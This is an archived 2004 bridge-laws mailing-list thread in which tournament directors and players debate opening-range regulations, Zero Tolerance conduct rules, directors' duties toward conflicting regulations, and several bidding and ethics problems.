Jan 6 23:58:34 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Tue, 6 Jan 2004 14:58:34 -0900 (AKST) Subject: [blml] Range restrictions In-Reply-To: Message-ID: On Tue, 6 Jan 2004, David Stevenson wrote: > If a TD says "I > shall not follow this regulation because it is illegal" what right has > he got to decide that the EBU is wrong? It is not unheard of for TDs to > make a mistake. I believe that a TD who follows this course has been > unnecessarily arrogant unless he knows that [for example] his training > and a regulation disagree. Fair enough. A good policy. But in some places (hopefully the EBU isn't one of them) this DOES happen quite frequently. For an easy example, when I started directing online, my SO tried to instruct me to refuse to allow L25A corrections, to give "make everybody happy" score adjustments instead of Lawful ones, and to throw away the scores for boards that the automatic software had trouble scoring. I caused great annoyance to management (but happiness to the paying customers) when I insisted on doing things properly. More to the point of the recent BLML arguments -- some of us were trained differently in interpretation of L40A and L40D, or of the L70 footnote, or various other passages, than others. So, not surprisingly, some of us feel horrified our colleagues refuse to strike down "illegal" regulations like "you can't open a 1-bid with a Ro18 hand." Here's another example: Zero Tolerance policies are popular in the US. But L91, which is used to justify them, assigns that power to penalize or suspend to the director, and says *the director's decision* is final. The directors at the regionals in my area have chosen to give warnings instead of automatic penalties for first offences. In effect, we do not have ZT at tournaments, whether the SO wants us to or not. GRB From richard.hills@immi.gov.au Wed Jan 7 01:50:03 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 7 Jan 2004 11:50:03 +1000 Subject: [blml] Like a diamond in the sky Message-ID: Nigel Guthrie wrote: >>[Nigel] 6D=3D10 5H=3D9 6S=3D6 P=3D3 >>On mature consideration, I've changed my marks. 5D >>should be a cue-bid, but 6D (: preferably without >>hesitation :) is a better safety-play -- in case 5D >>was intended as natural -- because it saves me any >>further ethical dilemma -- poor partner can fend for >>himself :) Todd M. Zimnoch replied: >I think the point of the survey is to find out what >you would sincerely and seriously do absent any >notion of there being an ethical problem. People do >absurd stuff all the time in vain attempts to avoid >ethical problems. Are such actions actually logical >alternatives? For novelty, treat as ethical calling >the director on yourself and resigning yourself to >his ruling especially in cases that are too close to >call. > >For myself, pass over 4H was not forcing by partner. >5D is not a strong bid since partner would have >doubled and then pulled 4S to 5D or have bid 5D >directly. Neither my hand nor my clubs are strong >enough to justify bidding to the 6-level. If >partner thought 4S was the wrong contract, 5S is >surely to be worse. I pass. Richard James Hills reveals: As is my wont, my survey was somewhat of a trick question. There is not "the" point, there are in fact *three* points. The first point was North's problem: WEST NORTH 4H ? North held: 7 Q9 AKQ862 A864 If I had been North, I would have automatically bid 5D in normal tempo. But the actual North was apparently a more timid soul, and apparently deemed their cards borderline for 5-level action. So, after a break in tempo, North decided to Pass. When the complete deal was discussed by a panel in the February 2002 issue of the Australian Directors' Bulletin, panellist Rich Colker wrote: [snip] >>>I also note that North's actions here were >>>deplorable. I would have warned him about >>>hesitating and passing, especially with a hand which >>>so clearly warrants a bid. Once he hesitates with >>>such a hand he is obligated to either take a >>>committal action (i.e., bid 5D) or accept the >>>consequences of a score adjustment gracefully. If he >>>doesn't wish to bid with such hands then he should >>>learn to pass in proper tempo (given the context of >>>the auction, which requires an appropriate pause by >>>North over the Skip Bid 4H). If it is possible I >>>would also record the North player so that similar >>>behavior in the future results in disciplinary >>>action. Richard James Hills continues: In my opinion, Rich Colker has grossly misinterpreted Law 73D1. That Law requires North to "be particularly careful in positions in which variations may work to the benefit of their side". Law 73D1 does *not* require North to select a particular action after an inadvertent hesitation. Of course, if North-South have an agreement that North will *deliberately* hesitate, in order to express their values to South without running the risk of a 5-level overcall, that is a grave infraction of Law 73B2, but there is no evidence that such a grave infraction has occurred. The second point was whether, after North's hesitation, South would be required to Pass out 4H holding: AQ854 AJ 73 KQ95 When South's Aussie expert peers were polled at the time, they unanimously excluded Pass from their consideration of what to call. (In my opinion, the only form of scoring where a Pass would be a logical alternative, would be at Board-A-Match scoring, in which the winning strategy is being a Cowardly Lion.) The third, and most interesting point, is deciding what is legal after North has finally emerged from the bushes with a 5D bid. In my opinion, North's hesitation demonstrably suggests extra values, so demonstrably suggests bidding on. At the table, South ethically Passed 5D, missing the good 6D slam. But South's virtue was rewarded, since a 4-1 diamond break meant that only 11 tricks were available. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From adam@irvine.com Wed Jan 7 00:59:32 2004 From: adam@irvine.com (Adam Beneschan) Date: Tue, 06 Jan 2004 16:59:32 -0800 Subject: [blml] Range restrictions In-Reply-To: Your message of "Tue, 06 Jan 2004 14:58:34 -0900." Message-ID: <200401070059.QAA17880@mailhub.irvine.com> Gordon Bower wrote: > Here's another example: Zero Tolerance policies are popular in the US. But > L91, which is used to justify them, assigns that power to penalize or > suspend to the director, and says *the director's decision* is final. The > directors at the regionals in my area have chosen to give warnings instead > of automatic penalties for first offences. In effect, we do not have ZT at > tournaments, whether the SO wants us to or not. My impression is that in the ACBL, "Zero Tolerance" doesn't really mean "zero tolerance". And, quite frankly, I'm very happy that it doesn't. In places where "zero tolerance" for something is a strictly enforced policy, it leads to some very absurd results---in one school, for instance, a kindergartner found a razor blade on the way to school, thought it was interesting, and took it to school to show to his friends---and was suspended (or threatened with suspension) because it violated a Zero Tolerance policy against weapons. I've seen numerous other examples of such stupidity as well. Some high-school girl was kicked out for a "Zero Tolerance" drug policy when she was caught with Advil in her purse. The ACBL seems to be taking a "let TD's use their good judgment" approach, which is not really Zero Tolerance but is a lot better IMHO. -- Adam From nigel.guthrie@ntlworld.com Wed Jan 7 01:19:21 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 7 Jan 2004 01:19:21 -0000 Subject: [blml] Like a diamond in the sky References: <005b01c3d45b$c48886a0$789468d5@tinyhrieuyik> <015501c3d463$581aad60$789468d5@tinyhrieuyik> <022001c3d471$557f39a0$789468d5@tinyhrieuyik> <6.0.1.1.1.20040106123211.01b168d0@postoffice.worldnet.att.net> Message-ID: <007f01c3d4bc$5a589200$149868d5@tinyhrieuyik> > [Todd M Zimnoch] > People do absurd stuff all the time in vain attempts > to avoid ethical problems. Are such actions actually > logical alternatives? For novelty, treat as ethical > calling the director on yourself and resigning yourself > to his ruling especially in cases that are too close to > call. [Nigel] On the information available to us, so far, partner bid 5D in normal tempo, so I am under no UI constraints. Todd's interpretation of 5D is different from mine but he may well be right. Hence I reckon it is logical to try to hedge my bets. 6D seems the best way to do so, without torturing myself with a similar dilemma, at my next turn to bid. I had already conceded that 5H, 6S, and pass are also logical alternatives; but IMO they are inferior to the practical 6D. I wouldn't call the director on myself for making what I regard as the most sensible and ethical bid, in the circumstances. If I make a habit of such daft TD calls, I would expect a PP for deliberate time-wasting. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From ereppert@rochester.rr.com Wed Jan 7 01:35:25 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 6 Jan 2004 20:35:25 -0500 Subject: [blml] Like a diamond in the sky In-Reply-To: Message-ID: On Tuesday, Jan 6, 2004, at 20:50 US/Eastern, richard.hills@immi.gov.au wrote: > But South's virtue was rewarded, since a 4-1 diamond > break meant that only 11 tricks were available. It has been said, more than once, here and elsewhere, that quite often opponents' good score is "rub of the green" not subject to adjustment. Such would seem to be the case here, going just on this message of Richard's (no, I haven't read the rest of the thread :). From ereppert@rochester.rr.com Wed Jan 7 01:39:31 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 6 Jan 2004 20:39:31 -0500 Subject: [blml] Range restrictions Message-ID: <85AD254B-40B2-11D8-BA7B-0030656F6826@rochester.rr.com> Oops. Missent to Adam only. :( On Tuesday, Jan 6, 2004, at 19:59 US/Eastern, Adam Beneschan wrote: > In places where "zero tolerance" for something is a strictly > enforced policy, it leads to some very absurd results---in one school, > for instance, a kindergartner found a razor blade on the way to > school, thought it was interesting, and took it to school to show to > his friends---and was suspended (or threatened with suspension) > because it violated a Zero Tolerance policy against weapons. "Wherever I am, I can *always* find a weapon. Even something as innocuous as this magazine." - Jonathan Hemlock, professional assassin, in The Loo Sanction, by Trevanian. From siegmund@mosquitonet.com Wed Jan 7 01:19:40 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Tue, 6 Jan 2004 16:19:40 -0900 (AKST) Subject: [blml] Range restrictions In-Reply-To: <200401070059.QAA17880@mailhub.irvine.com> Message-ID: On Tue, 6 Jan 2004, Adam Beneschan wrote: > My impression is that in the ACBL, "Zero Tolerance" doesn't really > mean "zero tolerance". And, quite frankly, I'm very happy that it > doesn't. In places where "zero tolerance" for something is a strictly > enforced policy, it leads to some very absurd results---in one school, > for instance, a kindergartner found a razor blade on the way to > school, thought it was interesting, and took it to school to show to > his friends---and was suspended (or threatened with suspension) > because it violated a Zero Tolerance policy against weapons. I've > seen numerous other examples of such stupidity as well. Some > high-school girl was kicked out for a "Zero Tolerance" drug policy > when she was caught with Advil in her purse. The ACBL seems to be > taking a "let TD's use their good judgment" approach, which is not > really Zero Tolerance but is a lot better IMHO. I didn't say I approved of ZT policies. My own unit doesn't have one and won't as long as I am around to stop it. TDs are allowed to use their good judgment, policy or none - that is why L91 was there in the first place. The non-TDs think the TDs have gone too easy, hence some prodding to encourage more frequent action to be taken. My point was that the people who put in ZT really DID intend to hand out a lot of slap-on-wrist penalties, with beatings to continue until morale improves. Some of them have lists of people they want to see told to shut up, and were eager to instruct the TDs to do their dirty work for them. And they are hopping mad that the directors are refusing to cooperate. I am on the directors' side - but I mention it in this thread as a case of open war between the directors and their employers. Thus far, the directors in my area are standing firm and united and seem to be in no danger. Directors elsewhere are not so lucky. My representative to the ACBL board has said publicly that former ACBL CTD Blaiss was fired for "refusing to implement management's policies as directed" (new regulations conflicting with the laws, like the attempts to allow looking at one's own convention card and get rid of the idea of tempo violations) and his replacement was supposed to be someone more "cooperative." I don't know the details of what went on at the national level or what specific incident got him fired... I do know that more than a year after it happened, at least one member of the board still had smoke coming out her ears at the mention of Blaiss's name, so angry was she at having been stood up to. GRB From richard.hills@immi.gov.au Wed Jan 7 03:53:36 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 7 Jan 2004 13:53:36 +1000 Subject: [blml] Morality (was Range restrictions) Message-ID: Nigel Guthrie: [big snip] >>>In most cases, I respect the will of the people, >>>but occasionally I am thankful that we do not >>>reside in an Athenian democracy. Winston Churchill: >>Indeed, it has been said that democracy is the >>worst form of Government except all those other >>forms that have been tried from time to time. Gordon Bower: [snip] >My point was that the people who put in ZT really >DID intend to hand out a lot of slap-on-wrist >penalties, with beatings to continue until morale >improves. Some of them have lists of people they >want to see told to shut up, and were eager to >instruct the TDs to do their dirty work for them. >And they are hopping mad that the directors are >refusing to cooperate. [snip] >Directors elsewhere are not so lucky. My >representative to the ACBL board has said >publicly that former ACBL CTD Blaiss was fired >for "refusing to implement management's policies >as directed" (new regulations conflicting with >the laws, [snip] Richard James Hills: If the good concept of a Zero Tolerance reg is designed in a nepotistic way, with special exceptions built in for the friends of the regulators, then a TD is entitled to resign on principle (as apparently ex-CTD Blaiss did on a similar issue of principle). However, a TD who continues to accept a salary from an SO, while ignoring the SO's regulations, is, in my opinion, on shaky moral ground. In my opinion, two wrongs do not make a right. If I were such an ACBL TD placed in such an invidious position, I would lobby for any such nepotistic Zero Tolerance reg to be repealed. But, until the reg were repealed, I would, in my opinion have only two moral options open to me as this hypothetical ACBL TD: (a) Obey the reg, or (b) Resign from my salaried TD post. Option (c) - ignoring regs you do not like - which according to Gordon has apparently been chosen by some ACBL TDs, is, in my opinion, an immoral infraction of Law 81B2. In my opinion, the ends do not justify the means. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Wed Jan 7 05:51:11 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 7 Jan 2004 15:51:11 +1000 Subject: [blml] Zero Tolerance (was Range restrictions) Message-ID: Adam Beneschan wrote: >>My impression is that in the ACBL, "Zero Tolerance" doesn't really >>mean "zero tolerance". And, quite frankly, I'm very happy that it >>doesn't. In places where "zero tolerance" for something is a strictl= y >>enforced policy, it leads to some very absurd results---in one school= , >>for instance, a kindergartner found a razor blade on the way to >>school, thought it was interesting, and took it to school to show to >>his friends---and was suspended (or threatened with suspension) >>because it violated a Zero Tolerance policy against weapons. I've >>seen numerous other examples of such stupidity as well. Some >>high-school girl was kicked out for a "Zero Tolerance" drug policy >>when she was caught with Advil in her purse. The ACBL seems to be >>taking a "let TD's use their good judgment" approach, which is not >>really Zero Tolerance but is a lot better IMHO. Richard James Hills replies: In my humble opinion, Adam is comparing oranges to apples. Zero Tolerance of *actual* rudeness at the bridge table is a different pair of sleeves to Zero Tolerance of merely *potentially* dangerous knitting= needles. ACBL Zero Tolerance reg (extract): >The following list are some examples of behavior which will not be >tolerated: > >Badgering, rudeness, insinuations, intimidation, profanity, threats, >or violence. > >Negative comments concerning opponents' or partner's play or bidding. > >Constant and gratuitous lessons and analyses at the table. > >Loud and disruptive arguing with a director's ruling. > > >If a player at the table behaves in an unacceptable manner, the >director should be called immediately. Annoying behavior, embarrassing= >remarks, or any other conduct which might interfere with the enjoyment= >of the game is specifically prohibited by Law 74A. Law 91A gives the >director the authority to assess disciplinary penalties. Richard James Hills continues: In my humble opinion, there are too many TDs using their so-called "good" judgement to ignore flagrant infractions of Law 74A, merely because the TD does not want to get involved. In my humble opinion, such TDs are committing a gross dereliction of duty because, in my humble opinion, Law 74A is the most important of all the Laws. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From wayne.burrows@xtra.co.nz Wed Jan 7 05:33:49 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Wed, 7 Jan 2004 18:33:49 +1300 Subject: [blml] Zero Tolerance (was Range restrictions) In-Reply-To: Message-ID: <000601c3d4df$d4a00c00$7e7758db@Desktop> > Richard James Hills continues: > > In my humble opinion, there are too many TDs using their so-called > "good" judgement to ignore flagrant infractions of Law 74A, merely > because the TD does not want to get involved. In my humble opinion, > such TDs are committing a gross dereliction of duty because, in my > humble opinion, Law 74A is the most important of all the Laws. My experience concurs with Richard's. I have never seen a director directly address L74A issues at the table. Instead director's tend to literally walk away from the table when there are calls for L74A infractions. Therefore I also concur with Richard's conclusion that TDs are committing a gross dereliction of duty in ignoring this law. Wayne From richard.hills@immi.gov.au Wed Jan 7 06:46:41 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 7 Jan 2004 16:46:41 +1000 Subject: [blml] Coprolites coparcenary Message-ID: South West Pacific Teams, Table One Dlr: East Vul: East-West The bidding has gone: WEST NORTH EAST SOUTH --- --- 1H(1) 1NT(2) Pass 2D(3) Pass 3C(4) Pass 4H(5) Pass ? (1) Artificial, a fertiliser bid, 0-7 hcp, any shape (2) Artificial, a game force, any shape (3) Artificial, 6+ hcp with hearts (4) Natural (5) Undiscussed You, South, hold: AK2 K9 void AK765432 What call do you make? What other calls do you consider making? Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From toddz@att.net Wed Jan 7 07:25:21 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Wed, 07 Jan 2004 02:25:21 -0500 Subject: [blml] Like a diamond in the sky In-Reply-To: <007f01c3d4bc$5a589200$149868d5@tinyhrieuyik> References: <005b01c3d45b$c48886a0$789468d5@tinyhrieuyik> <015501c3d463$581aad60$789468d5@tinyhrieuyik> <022001c3d471$557f39a0$789468d5@tinyhrieuyik> <6.0.1.1.1.20040106123211.01b168d0@postoffice.worldnet.att.net> <007f01c3d4bc$5a589200$149868d5@tinyhrieuyik> Message-ID: <6.0.1.1.1.20040107021138.01abfe00@postoffice.worldnet.att.net> At 08:19 PM 1/6/2004, Nigel Guthrie wrote: >[Nigel] >On the information available to us, so far, partner >bid 5D in normal tempo, so I am under no UI constraints. >Todd's interpretation of 5D is different from mine but >he may well be right. Hence I reckon it is logical to >try to hedge my bets. I think that takes us out of the realm of peers. You pick a system, preferably one you play, and make a decision based on the auction. You don't hedge your bets against various possible meanings for 5D as though partner had a problem coming up with the bid, unsure of its meaning in the auction. >If I make a habit of such daft TD calls, I would expect >a PP for deliberate time-wasting. Only when it's too close to call. You and I both seem sure of our actions and yet we reached very different conclusions. :/ Take away my hearts and give me more diamonds and I may raise 5D to 6, but given my heart holding, partner cannot have a good hand hoping for a balancing double. -Todd From toddz@att.net Wed Jan 7 07:52:57 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Wed, 07 Jan 2004 02:52:57 -0500 Subject: [blml] Like a diamond in the sky In-Reply-To: References: Message-ID: <6.0.1.1.1.20040107022534.01abfcb8@postoffice.worldnet.att.net> At 08:50 PM 1/6/2004, richard.hills@immi.gov.au wrote: >Richard James Hills reveals: > >As is my wont, my survey was somewhat of a trick >question. There is not "the" point, there are in fact >*three* points. Three points to your post, perhaps, but in asking about what are logical alternatives, people really should think of it solely as a bidding exercise and not as a can-I-guess-the-ethical-dilemma exercise. >The first point was North's problem: >When the complete deal was discussed by a panel in the >February 2002 issue of the Australian Directors' >Bulletin, panellist Rich Colker wrote: > >[snip] > > >>>I also note that North's actions here were > >>>deplorable. I would have warned him about > >>>hesitating and passing, especially with a hand which > >>>so clearly warrants a bid. Once he hesitates with > >>>such a hand he is obligated to either take a > >>>committal action (i.e., bid 5D) or accept the > >>>consequences of a score adjustment gracefully. Only if reasonable. After the unanimous decision of the panel that South's actions were legal, and North never was under any restraints, a score adjustment seems to be an injustice against a player whose unusual (?) actions turned out favorably. I cannot possibly see how North "could have known." There is another way this could go that I haven't got the foresight or bridge skills to consider fully. If North hesitates and bids he gives an impression that he wasn't sure whether his hand was too strong for just a 5-level bid or not strong enough to double when this was not actually the problem North believed he faced. Shouldn't there be fewer problems when outward appearances match the player's reality? >The third, and most interesting point, is deciding >what is legal after North has finally emerged from >the bushes with a 5D bid. In my opinion, North's >hesitation demonstrably suggests extra values, so >demonstrably suggests bidding on. At the table, >South ethically Passed 5D, missing the good 6D slam. What did the panel decide? Are you calling 5D ethical because it was the only LA or because it was the least suggested LA? Also, it's unclear from your post if Mr. Colker agrees or disagrees with the AC's decision. We know he has beef with North. -Todd From twm@cix.co.uk Wed Jan 7 09:46:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 7 Jan 2004 09:46 +0000 (GMT Standard Time) Subject: [blml] Range restrictions In-Reply-To: <3FFA94E9.3080208@hdw.be> Message-ID: Hi Herman > LOL - especially with the grammatical error in your sentence. A typo :) > > > >>Edgar Kaplan's more accurate method of hand evaluation > >>is impractical to embed in regulation - Jeff Rubens > >>had to write a detailed computer program to simulate > >>Edgar's thought processes. > > > > > > Why is this a problem? If we say "must be worth at least 8.213 on > > the the K/R evaluator" then not only do we have a fixed standard but > > players at the table get to use their "judgement" to decide whether a > > hand is better/worse than the standard. > > > > Why is that a problem? > Well, Tim, let me tell you why this is a problem. (*) > Next week, someone will open a hand worth 8.212 on the K/R evaluator > and he will say that the regulation forbidding this should actually > read "less than 8.213 or equivalent judgment". This is the same problem as with rule of 19, not a different one. The K/R evaluator is widely (universally?) considered a better estimator of hand strength than the rule of 19. To me it makes sense that if one is to exclude judgement one must use the best possible evaluation method to support such a rule. > * (Of course apart from the fact that no-one is able to calculate the > K/R value in the first place) Not exactly a challenge for a TD to do so. http://www.gg.caltech.edu/~jeff/knr.cgi Is but one place it can be found on the web. Tim From twm@cix.co.uk Wed Jan 7 09:46:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 7 Jan 2004 09:46 +0000 (GMT Standard Time) Subject: [blml] Morality (was Range restrictions) In-Reply-To: Message-ID: Richard wrote: > (a) Obey the reg, or > > (b) Resign from my salaried TD post. > > Option (c) - ignoring regs you do not like - > which according to Gordon has apparently been > chosen by some ACBL TDs, is, in my opinion, an > immoral infraction of Law 81B2. In my opinion, > the ends do not justify the means. (d). Tell your employers you believe their actions to be wrong and that you will not be complying with their instructions. Let them decide whether they wish to continue paying your salary. Seems perfectly moral to me. One can, I think, take a stand without handing in one's resignation. Note that Law81b2 binds the TD to follow supplementary regulations but *not* conflicting ones. Tim From twm@cix.co.uk Wed Jan 7 09:46:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 7 Jan 2004 09:46 +0000 (GMT Standard Time) Subject: [blml] Coprolites coparcenary In-Reply-To: Message-ID: > South West Pacific Teams, Table One > > Dlr: East > Vul: East-West > > The bidding has gone: > > WEST NORTH EAST SOUTH > --- --- 1H(1) 1NT(2) > Pass 2D(3) Pass 3C(4) > Pass 4H(5) Pass ? > > (1) Artificial, a fertiliser bid, 0-7 hcp, any shape > (2) Artificial, a game force, any shape > (3) Artificial, 6+ hcp with hearts > (4) Natural > (5) Undiscussed > > You, South, hold: > > AK2 > K9 > void > AK765432 > > What call do you make? 5N (assuming that is a grand slam invitation for H). > What other calls do you consider making? None with my current knowledge of the system/approach. It would depend on whether pard had some other way of showing a semi-solid 6+ card H suit. Tim From gesta@tiscali.co.uk Wed Jan 7 08:52:59 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Wed, 7 Jan 2004 08:52:59 -0000 Subject: [blml] Morality (was Range restrictions) References: Message-ID: <007601c3d508$5cb694b0$81242850@multivisionoem> Grattan Endicott >Winston Churchill: >>Indeed, it has been said that democracy is the >>worst form of Government except all those other >>forms that have been tried from time to time. < +=+ "Democracy is the recurrent suspicion that more than half of the people are right more than half of the time." (E.B. White, humorist). +=+ From gesta@tiscali.co.uk Wed Jan 7 09:00:30 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Wed, 7 Jan 2004 09:00:30 -0000 Subject: [blml] Range restrictions References: <000901c3d412$1daaf9b0$89ce36d2@Desktop> Message-ID: <007701c3d508$5d7c7cc0$81242850@multivisionoem> Grattan Endicott To: Sent: Tuesday, January 06, 2004 5:01 AM Subject: RE: [blml] Range restrictions > > > 1. You may not play Rule of 17 > > 2. Rule of 17 is classified as Yellow > > 3. You may play Rule of 17 only if thereafter you > play no conventions > > I say 1 and 2 are illegal - absolutely no basis in the > laws or any obscure WBF minute that I have seen. > > 3. has been declared legal by WBF inspite of its > absurdity. > > Wayne < +=+ The legal statement is "A condition of the use of any convention is that it shall not be used with openings that may be made by agreement on hands valued weaker than Rule of 'x'." ~ Grattan ~ +=+ From gesta@tiscali.co.uk Wed Jan 7 09:02:53 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Wed, 7 Jan 2004 09:02:53 -0000 Subject: [blml] Cooper echo References: Message-ID: <007801c3d508$5e936b00$81242850@multivisionoem> Grattan Endicott To: Sent: Tuesday, January 06, 2004 12:11 AM Subject: Re: [blml] Cooper echo < >>#%# Okay, sophistry argument number two. Grattan >>has been quoting from the Law 68A definition of a >>claim. But Law 68A also includes the catch-all >>exception: >> >>"(unless he demonstrably did not intend to claim)" >+=+ But that exclusion, in parenthesis, by the >construction of the sentence applies only to >"or when he shows his cards". > ~ Grattan ~ +=+ #%# Okay, sophistry argument number three. Law 68A defines that a claim has to fulfil at least one of three preconditions: (a) Any statement.....win a specific number of tricks..... (b) .....suggests that play be curtailed..... (c) .....shows.....cards (unless..... A Cooper Echo does not fit into categories (a) or (c). So, the only question remains, can a Cooper Echo be square-pegged into the round-hole of category (b)? { Richard } #%# < +=+ Well, of course, I can only express an opinion. But that opinion would be that the echo makes an assertion about the winning of a specified number of tricks. If a Director chooses to interpret it so I doubt that he would be denied the support of the national authority. I cannot remember exactly who it was, but someone on this list has argued that we should take the law as it is written and apply what it says. A person holding that opinion would be hard put not to agree that the echo is a violation of procedure in the terms, read accordingly, of Law 74C3. ~ Grattan ~ +=+ From gesta@tiscali.co.uk Wed Jan 7 09:11:25 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Wed, 7 Jan 2004 09:11:25 -0000 Subject: [blml] Range restrictions References: <000901c3d412$1daaf9b0$89ce36d2@Desktop> Message-ID: <007901c3d508$5fce34f0$81242850@multivisionoem> Grattan Endicott To: Sent: Tuesday, January 06, 2004 5:10 AM Subject: Re: [blml] Range restrictions > > > >3. has been declared legal by WBF inspite of its > > absurdity. > > I see what you mean: you are suggesting that the > ABF has said #1 or #2 rather than #3. But what > are you intending to do about it? Surely I have not > misread you all these years: you believe #1, #2 > *and* #3 are illegal. So it makes no difference, > surely, whether they use #1, #2 or #3 in your view? > +=+ (1) I must dig out the OB again and have a look. I hope that the EBU makes it clear that the regulation is a condition of the use of conventions. (2) I have not followed this thread all the way through, so I do not quite know where it has led. An early message suggested to me that the ABF was merely regulating disclosure, and saying that if a player announces 12-14 he may not have an unannounced implicit understanding that he will open a 'good' 11 or, presumably, a 'bad' 15 with the bid. A rigorous attitude, but entirely proper as a disclosure regulation, and generally true as a matter of law but little pursued.. Apparently the issue now is about regulation of natural calls; on this my stance is that the organizers of events should have the right to place limits on the methods that entrants may use, provided they are known beforehand to those considering entry to the events. I agree with Wayne about the absurdity of the (necessity for adopting the) device for the purpose, but not that its adoption is unwholesome. ~ Grattan ~ +=+ From t.kooyman@worldonline.nl Wed Jan 7 13:25:10 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 7 Jan 2004 14:25:10 +0100 Subject: [blml] Range restrictions Message-ID: <007001c3d521$b2b158f0$c383b6d4@LNV> > Grattan: > > > (2) I have not followed this thread all the way > > through, so I do not quite know where it has led. An > > early message suggested to me that the ABF was > > merely regulating disclosure, and saying that if a player > > announces 12-14 he may not have an unannounced > > implicit understanding that he will open a 'good' 11 > > or, presumably, a 'bad' 15 with the bid. A rigorous > > attitude, but entirely proper as a disclosure regulation, > > and generally true as a matter of law but little pursued.. > Are you serious? > Let us first try to define what 'unannounced implicit understanding' means. > To me the combination of unannounced and implicit is dubious, but I think it > means that bridge judgement is involved. > We have a word in Dutch which is 'puntenkul' and probably the German people > have something similar. In English something like points rot comes close, I > assume. I don't know who wrote it some days ago but I agree with the > statement that an NBO telling that a 1NT opening with AT98 AT98 KT9 T9 is > not allowed when such opening by agreement shows 12-14 points, doesn't know > what it is doing. Such NBO should also punish a player not opening 1NT with > QJ2 QJ2 QJ3 K432, using the same 'unannounced implicit understanding'. > To me such regulation is as 'proper' as saying that the spade ace can't be > played in the first two tricks. > > Happy new year to all of you, > > ton > > From hermandw@hdw.be Wed Jan 7 13:57:30 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 07 Jan 2004 14:57:30 +0100 Subject: [blml] Range restrictions In-Reply-To: <007001c3d521$b2b158f0$c383b6d4@LNV> References: <007001c3d521$b2b158f0$c383b6d4@LNV> Message-ID: <3FFC104A.8090302@hdw.be> Ton, I am happy that you have decided to join some of these discussions. I want to agree with you - so allow me to translate what you are saying into words that I would use - and see if you agree with those: Ton Kooijman wrote: >>We have a word in Dutch which is 'puntenkul' and probably the German > > people > >>have something similar. In English something like points rot comes close, > > I > Points Schmointz ? >>assume. I don't know who wrote it some days ago but I agree with the >>statement that an NBO telling that a 1NT opening with AT98 AT98 KT9 T9 is >>not allowed when such opening by agreement shows 12-14 points, doesn't > > know > >>what it is doing. Are you saying that you believe it is "common bridge knowledge" that AT98 AT98 KT9 T9 is worth 12 points ? Are you saying that you don't consider it MI if this hand is routinely opened 1NT and 1NT is announced and explained as 12-14 ? If that is what you are saying, I couldn't agree more. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From Martin.Sinot@Micronas.com Wed Jan 7 15:11:15 2004 From: Martin.Sinot@Micronas.com (Sinot Martin) Date: Wed, 7 Jan 2004 16:11:15 +0100 Subject: [blml] Conventional bid out of turn Message-ID: <94504F49BF58B0499D108530E98A52050E6444@rama.micronas.com> W N E S 2D - 2H 2D is Multi. East bids 2H out of turn (obviously intended as the nonforcing relay). The TD explains the options, and North elects to bid 2S. Which options does East have now? --=20 Martin Sinot martin.sinot@nospam.micronas.com From H.W.Pieters@gasunie.nl Wed Jan 7 15:28:23 2004 From: H.W.Pieters@gasunie.nl (Pieters H.W.) Date: Wed, 7 Jan 